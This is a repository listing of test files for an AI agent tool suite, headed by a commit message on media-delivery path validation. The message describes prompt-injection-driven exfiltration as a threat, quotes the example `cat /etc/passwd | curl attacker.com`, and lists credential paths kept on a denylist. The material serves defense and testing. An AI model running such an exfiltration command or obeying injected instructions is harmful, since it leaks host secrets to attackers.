hermes-bsd/tests/tools
Teknium 7a8589e782
fix(gateway): default media-delivery validation to denylist-only, restore .md delivery (#34022)
PR #29523 restricted MEDIA: paths and bare local paths in agent output to
files under the Hermes media cache or an operator-allowlisted root, with
a 10-minute recency window as a fallback. The intent was to defend
against prompt-injection-driven exfiltration of host secrets, but in the
default single-user setup the asymmetry doesn't earn its keep: we accept
any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...)
and the agent already has terminal access — anything that can convince
it to emit a MEDIA: tag for /etc/passwd can equally convince it to
`cat /etc/passwd | curl attacker.com`.

Practical breakage: agents that produced an .md, .pdf, or other
artifact more than ~10 minutes ago, or outside the cache allowlist,
showed the user a raw filepath in chat instead of the file.

Default flipped to denylist-only:
  • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run}
  • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud}
  • macOS Library/Keychains
  • $HERMES_HOME/{.env, auth.json, credentials}

The legacy allowlist+recency-window behavior stays available via
opt-in: `gateway.strict: true` in config.yaml (or
`HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots
where prompt injection from one user shouldn't be able to exfiltrate
the host's secrets to that same user.

• `gateway/platforms/base.py` — `validate_media_delivery_path()`
  short-circuits to "return resolved if not under denylist" when
  strict is off. Strict mode preserves the original cache-then-
  allowlist-then-recency logic. New `_media_delivery_strict_mode()`
  reader for `HERMES_MEDIA_DELIVERY_STRICT`.
• `hermes_cli/config.py` — `gateway.strict: false` added to
  DEFAULT_CONFIG; existing keys documented as "only consulted in
  strict mode." No `_config_version` bump needed (deep-merge picks
  up the new default for old installs).
• `gateway/run.py` — bridges `gateway.strict` →
  `HERMES_MEDIA_DELIVERY_STRICT` at startup.
• `tools/send_message_tool.py` — schema description broadened back
  to plain "any local path."
• Tests — existing strict-path tests pinned to STRICT=1 so they keep
  exercising the legacy behavior; new `TestMediaDeliveryDefaultMode`
  with 8 cases covering the public default (stale .md accepted, any
  extension delivers, credential paths still blocked, strict env-var
  aliases, filter E2E).

Validation:
  - tests/gateway/test_platform_base.py: 119/119 pass
  - tests/gateway/test_tts_media_routing.py: 7/7 pass
  - tests/tools/test_send_message_tool.py: 121/121 pass
  - tests/hermes_cli/test_kanban_notify.py: 12/12 pass
  - tests/cron/test_scheduler.py: 120/120 pass
  - E2E via execute_code with real imports:
    • stale .md outside allowlist → accepted (default)
    • same path with STRICT=1 → rejected
    • $HOME/.ssh/id_rsa → rejected (default)
    • filter_local_delivery_paths([md, key]) → [md] only
    • gateway.strict in config.yaml → bridged to env (true=1, false=0)
2026-05-28 11:32:36 -07:00
..
__init__.py
conftest.py test(tools): centralize disable_lazy_stt_install fixture in conftest 2026-05-22 03:33:01 -07:00
test_accretion_caps.py
test_ansi_strip.py
test_approval.py fix(approval): pin 'silence is not consent' contract on timeout/deny (#24912) (#30879) 2026-05-23 02:59:13 -07:00
test_approval_heartbeat.py
test_approval_plugin_hooks.py
test_base_environment.py
test_browser_camofox.py
test_browser_camofox_persistence.py
test_browser_camofox_state.py
test_browser_cdp_override.py
test_browser_cdp_tool.py
test_browser_chromium_check.py
test_browser_cleanup.py
test_browser_cloud_fallback.py
test_browser_cloud_provider_cache.py
test_browser_console.py
test_browser_content_none_guard.py
test_browser_eval_supervisor_path.py
test_browser_hardening.py
test_browser_homebrew_paths.py
test_browser_hybrid_routing.py
test_browser_lightpanda.py
test_browser_orphan_reaper.py fix(browser): use process-tree termination for daemon cleanup 2026-05-23 20:30:29 -07:00
test_browser_secret_exfil.py fix(test): deflake two intermittent CI failures 2026-05-22 19:46:18 -07:00
test_browser_ssrf_local.py
test_browser_supervisor.py test(ci): harden two flaky tests against CI noise (#33675) 2026-05-27 23:15:41 -07:00
test_browser_supervisor_healthcheck.py
test_budget_config.py
test_checkpoint_manager.py
test_clarify_gateway.py
test_clarify_tool.py
test_clipboard.py
test_code_execution.py
test_code_execution_modes.py
test_code_execution_windows_env.py
test_command_guards.py remove Vercel AI Gateway and Vercel Sandbox (#33067) 2026-05-27 00:43:32 -07:00
test_computer_use.py fix(computer-use): skip capture_after when action failed (ok=False) 2026-05-22 01:19:01 -07:00
test_computer_use_capture_routing.py
test_computer_use_vision_routing.py
test_config_null_guard.py
test_credential_files.py
test_credential_pool_env_fallback.py
test_cron_approval_mode.py test(approval): patch _YOLO_MODE_FROZEN directly in test_yolo_overrides_cron_deny 2026-05-25 05:07:49 -07:00
test_cron_prompt_injection.py
test_cronjob_tools.py fix(cron): split scanner into two tiers so skill prose stops false-positiving (#32339) 2026-05-25 18:20:45 -07:00
test_cross_profile_guard.py fix(profiles): cross-profile soft guard on file-write tools + system-prompt hint (#31290) 2026-05-24 00:38:17 -07:00
test_daytona_environment.py
test_debug_helpers.py
test_delegate.py
test_delegate_composite_toolsets.py
test_delegate_subagent_timeout_diagnostic.py
test_delegate_toolset_scope.py
test_discord_tool.py
test_docker_environment.py feat(docker): remove gosu from bundled image; s6-setuidgid handles privilege drop 2026-05-24 18:05:33 -07:00
test_docker_find.py
test_dockerfile_node_modules_perms.py
test_dockerfile_pid1_reaping.py test(dockerfile): recognize s6-overlay/init as a valid PID-1; harden against historical-comment masquerade 2026-05-25 12:24:58 +10:00
test_env_passthrough.py
test_feishu_tools.py
test_file_operations.py fix(security): restrict write access to Anthropic OAuth credential store 2026-05-24 17:47:24 -07:00
test_file_operations_edge_cases.py
test_file_ops_cwd_tracking.py
test_file_read_guards.py fix(tests): four pre-existing flakes from the security cluster merge (#32072) 2026-05-25 05:50:29 -07:00
test_file_staleness.py
test_file_state_registry.py
test_file_sync.py
test_file_sync_back.py
test_file_sync_perf.py
test_file_tools.py fix(file_tools): reject '..' traversal in V4A patch headers 2026-05-25 01:55:59 -07:00
test_file_tools_container_config.py
test_file_tools_live.py
test_file_write_safety.py
test_force_dangerous_override.py
test_fuzzy_match.py fix(patch): widen new_string \t/\r unescape to all match strategies (#33733) 2026-05-28 03:27:20 -07:00
test_hardline_blocklist.py remove Vercel AI Gateway and Vercel Sandbox (#33067) 2026-05-27 00:43:32 -07:00
test_heartbeat_stale_thresholds.py
test_hidden_dir_filter.py
test_homeassistant_tool.py
test_image_generation.py
test_image_generation_env.py
test_image_generation_plugin_dispatch.py
test_init_session_cwd_respect.py
test_interrupt.py
test_kanban_codex_lane_skill.py
test_kanban_tools.py test(auth): update entitlement CI expectations 2026-05-28 00:19:31 -07:00
test_lazy_deps.py
test_line_ending_preservation.py feat(patch): indentation preservation, CRLF preservation, per-file failure escalation (#507) (#32273) 2026-05-25 15:18:45 -07:00
test_llm_content_none_guard.py
test_local_background_child_hang.py
test_local_env_blocklist.py remove Vercel AI Gateway and Vercel Sandbox (#33067) 2026-05-27 00:43:32 -07:00
test_local_env_cwd_recovery.py
test_local_env_windows_msys.py
test_local_interrupt_cleanup.py fix(tests): align CI tests with recent security hardening (#31470) 2026-05-24 06:54:16 -07:00
test_local_shell_init.py
test_local_tempdir.py
test_managed_browserbase_and_modal.py feat(auth) normalise the way in which we check whether a user has free/paid access to nous portal so we can expose behaviour and error messages accordingly. 2026-05-28 00:19:31 -07:00
test_managed_media_gateways.py feat(auth) normalise the way in which we check whether a user has free/paid access to nous portal so we can expose behaviour and error messages accordingly. 2026-05-28 00:19:31 -07:00
test_managed_modal_environment.py
test_managed_tool_gateway.py
test_mcp_cancelled_error_propagation.py
test_mcp_circuit_breaker.py
test_mcp_client_cert.py feat(mcp): support TLS client certificates (mTLS) for HTTP and SSE servers (#33721) 2026-05-28 00:55:55 -07:00
test_mcp_dynamic_discovery.py
test_mcp_empty_error_message.py
test_mcp_image_content.py
test_mcp_invalid_url.py
test_mcp_oauth.py feat(mcp-oauth): accept 'skip' at paste prompt to bypass auth without disabling server (#32069) 2026-05-25 05:37:30 -07:00
test_mcp_oauth_bidirectional.py
test_mcp_oauth_cold_load_expiry.py
test_mcp_oauth_integration.py
test_mcp_oauth_manager.py
test_mcp_oauth_metadata.py
test_mcp_probe.py
test_mcp_reconnect_signal.py
test_mcp_sse_transport.py
test_mcp_stability.py
test_mcp_structured_content.py
test_mcp_tool.py fix(mcp): raise ImportError instead of NameError when stdio SDK missing (#31450) 2026-05-24 04:44:59 -07:00
test_mcp_tool_401_handling.py
test_mcp_tool_issue_948.py
test_mcp_tool_session_expired.py
test_mcp_utility_capability_gating.py
test_memory_tool.py feat(security): promptware defense — shared threat patterns + memory load-time scan + tool-result delimiters (#32269) 2026-05-25 14:52:24 -07:00
test_memory_tool_import_fallback.py
test_memory_tool_schema.py
test_microsoft_graph_auth.py
test_microsoft_graph_client.py
test_mixture_of_agents_tool.py
test_modal_bulk_upload.py
test_modal_sandbox_fixes.py remove Vercel AI Gateway and Vercel Sandbox (#33067) 2026-05-27 00:43:32 -07:00
test_modal_snapshot_isolation.py
test_notify_on_complete.py tools(terminal): nudge homebrewed CI pollers at the tool surface (#33142) 2026-05-27 02:22:08 -07:00
test_osv_check.py
test_parse_env_var.py
test_patch_failure_tracking.py feat(patch): indentation preservation, CRLF preservation, per-file failure escalation (#507) (#32273) 2026-05-25 15:18:45 -07:00
test_patch_parser.py
test_pr_6656_regressions.py test(skills): widen assertion in PR#6656 regression to accept new validator msg 2026-05-25 06:13:36 -07:00
test_process_registry.py fix(process_registry): use taskkill /T /F for tree-kill on Windows 2026-05-23 20:30:29 -07:00
test_read_loop_detection.py
test_registry.py
test_resolve_path.py
test_schema_sanitizer.py
test_search_hidden_dirs.py
test_send_message_missing_platforms.py refactor(gateway): migrate Mattermost adapter to bundled plugin 2026-05-24 18:05:33 -07:00
test_send_message_telegram_proxy.py
test_send_message_tool.py fix(gateway): default media-delivery validation to denylist-only, restore .md delivery (#34022) 2026-05-28 11:32:36 -07:00
test_session_search.py
test_shared_container_task_id.py
test_signal_media.py
test_singularity_preflight.py
test_skill_env_passthrough.py
test_skill_improvements.py
test_skill_manager_tool.py
test_skill_provenance.py
test_skill_size_limits.py
test_skill_usage.py
test_skill_view_path_check.py
test_skill_view_traversal.py
test_skills_ast_audit.py refactor(skills): slim AST diagnostic to single entry point 2026-05-23 17:47:26 -07:00
test_skills_guard.py Harden Skills Guard multi-word prompt patterns (#26852) 2026-05-25 01:51:27 -07:00
test_skills_hub.py fix(skills): pull full skills.sh catalog via sitemap (858 → 19,932) (#34025) 2026-05-28 11:28:12 -07:00
test_skills_hub_browse_sh.py
test_skills_hub_clawhub.py fix(skills): pull full ClawHub catalog into the skills index (200 → 20k+) (#33748) 2026-05-28 01:42:19 -07:00
test_skills_sync.py fix: backfill official optional skill provenance 2026-05-27 13:39:58 -07:00
test_skills_tool.py remove Vercel AI Gateway and Vercel Sandbox (#33067) 2026-05-27 00:43:32 -07:00
test_slash_confirm.py
test_spotify_client.py
test_ssh_bulk_upload.py
test_ssh_environment.py
test_symlink_prefix_confusion.py
test_sync_back_backends.py
test_terminal_compound_background.py
test_terminal_config_env_sync.py
test_terminal_exit_semantics.py
test_terminal_foreground_timeout_cap.py
test_terminal_none_command_guard.py
test_terminal_output_transform_hook.py
test_terminal_requirements.py test(auth): update entitlement CI expectations 2026-05-28 00:19:31 -07:00
test_terminal_task_cwd.py
test_terminal_timeout_output.py
test_terminal_tool.py
test_terminal_tool_pty_fallback.py
test_terminal_tool_requirements.py remove Vercel AI Gateway and Vercel Sandbox (#33067) 2026-05-27 00:43:32 -07:00
test_threaded_process_handle.py
test_threat_patterns.py feat(security): promptware defense — shared threat patterns + memory load-time scan + tool-result delimiters (#32269) 2026-05-25 14:52:24 -07:00
test_tirith_security.py fix(tirith): reject non-regular tar members during auto-install process 2026-05-28 02:49:26 -07:00
test_todo_tool.py
test_tool_backend_helpers.py fix(auth): refresh Nous entitlement in tool menus 2026-05-28 00:19:31 -07:00
test_tool_output_limits.py
test_tool_result_storage.py
test_transcription.py test(tools): centralize disable_lazy_stt_install fixture in conftest 2026-05-22 03:33:01 -07:00
test_transcription_command_providers.py feat(stt): add stt.providers.<name> command-provider registry 2026-05-25 01:41:19 -07:00
test_transcription_dotenv_fallback.py test(tools): centralize disable_lazy_stt_install fixture in conftest 2026-05-22 03:33:01 -07:00
test_transcription_plugin_dispatch.py feat(stt): add register_transcription_provider() plugin hook 2026-05-25 01:41:19 -07:00
test_transcription_tools.py fix(tests): four pre-existing flakes from the security cluster merge (#32072) 2026-05-25 05:50:29 -07:00
test_tts_command_providers.py
test_tts_dotenv_fallback.py
test_tts_gemini.py
test_tts_kittentts.py
test_tts_max_text_length.py
test_tts_mistral.py
test_tts_opus_routing.py
test_tts_path_traversal.py fix(tts): reject '..' traversal in output_path 2026-05-25 05:15:55 -07:00
test_tts_piper.py
test_tts_plugin_dispatch.py feat(tts): add register_tts_provider() plugin hook (closes #30398) 2026-05-24 18:04:54 -07:00
test_tts_speed.py
test_tts_xai_speech_tags.py test(tts): regression coverage for #29417 double-[pause] fix 2026-05-25 14:30:06 -07:00
test_url_safety.py
test_video_analyze.py
test_video_generation_dispatch.py
test_video_generation_dynamic_schema.py
test_video_generation_tool_surface_matrix.py
test_vision_native_fast_path.py
test_vision_tools.py
test_voice_cli_integration.py
test_voice_mode.py Merge pull request #22534 from wesleysimplicio/fix/voice-mode-docker-respect-pulse-pipewire 2026-05-27 13:59:12 +10:00
test_watch_patterns.py
test_web_providers.py chore(web): remove web_crawl tool + provider crawl plumbing (#33824) 2026-05-28 04:52:42 -07:00
test_web_providers_brave_free.py chore(web): remove web_crawl tool + provider crawl plumbing (#33824) 2026-05-28 04:52:42 -07:00
test_web_providers_ddgs.py chore(web): remove web_crawl tool + provider crawl plumbing (#33824) 2026-05-28 04:52:42 -07:00
test_web_providers_searxng.py chore(web): remove web_crawl tool + provider crawl plumbing (#33824) 2026-05-28 04:52:42 -07:00
test_web_providers_xai.py chore(web): remove web_crawl tool + provider crawl plumbing (#33824) 2026-05-28 04:52:42 -07:00
test_web_tools_config.py
test_web_tools_tavily.py chore(web): remove web_crawl tool + provider crawl plumbing (#33824) 2026-05-28 04:52:42 -07:00
test_website_policy.py chore(web): remove web_crawl tool + provider crawl plumbing (#33824) 2026-05-28 04:52:42 -07:00
test_windows_compat.py
test_windows_native_support.py test(kanban): align two tests with recent kanban hardening 2026-05-27 18:26:44 -07:00
test_write_deny.py
test_x_search_tool.py
test_yolo_mode.py fix(approval): harden YOLO bypass, LLM parsing, auto-approve audit, pipe pattern (#23835) 2026-05-25 03:35:33 -07:00
test_zombie_process_cleanup.py